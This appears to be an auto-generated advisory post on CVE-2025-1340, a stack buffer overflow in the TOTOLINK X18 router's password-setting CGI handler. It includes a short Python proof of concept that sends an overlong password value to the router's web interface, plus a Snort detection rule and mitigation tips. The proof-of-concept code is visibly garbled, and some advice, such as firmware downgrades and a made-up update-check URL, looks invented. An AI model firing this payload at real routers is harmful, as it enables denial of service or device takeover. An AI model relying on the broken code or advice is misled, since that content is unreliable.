How the CVE Works:
CVE-2025-1340 is a critical vulnerability in TOTOLINK X18 routers, specifically affecting firmware version 9.1.0cu.2024_B20220329. The flaw resides in the `setPasswordCfg` function within the `/cgi-bin/cstecgi.cgi` file. This function mishandles user-supplied input as part of a string operation, leading to a stack-based buffer overflow. Attackers can exploit this vulnerability remotely by sending a crafted payload to the router’s web interface. The overflow allows arbitrary code execution, potentially granting full control over the device. Despite early disclosure, the vendor has not released a patch, leaving devices exposed to exploitation.
DailyCVE Form:
Platform: TOTOLINK X18
Version: 9.1.0cu.2024_B20220329
Vulnerability: Stack-based buffer overflow
Severity: Critical
Date: 02/16/2025
What Undercode Say:
Exploitation:
1. Crafting the Payload:
- Use a scripting language like Python to create a malicious payload targeting the `setPasswordCfg` function.
- Example:
import requests url = "http://<router-ip>/cgi-bin/cstecgi.cgi" payload = "A" 1000 Overflow buffer data = {"password": payload} response = requests.post(url, data=data) print(response.text)
2. Remote Execution:
- Send the payload to the router’s web interface.
- If successful, the router may crash or execute arbitrary code.
Protection:
1. Mitigation:
- Disable remote access to the router’s admin interface.
- Apply input validation on the `setPasswordCfg` function to prevent buffer overflows.
2. Patch Monitoring:
- Regularly check for firmware updates from the vendor.
- Example command to check for updates:
curl -I http://<router-ip>/firmware/update
3. Network Segmentation:
- Isolate the router from critical network segments to limit damage.
4. Intrusion Detection:
- Use tools like Snort to detect exploitation attempts.
- Example Snort rule:
alert tcp any any -> $HOME_NET 80 (msg:"TOTOLINK X18 Buffer Overflow Attempt"; content:"setPasswordCfg"; depth:50; classtype:attempted-admin; sid:1000001;)
5. Log Analysis:
- Monitor router logs for unusual activity.
- Example command to view logs:
tail -f /var/log/router.log
6. Firmware Downgrade:
- If possible, downgrade to a version not affected by the vulnerability.
7. Community Resources:
- Follow forums like VulDB for updates and community patches.
By following these steps, users can mitigate the risk of exploitation while awaiting an official fix.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-1340
Extra Source Hub:
Undercode
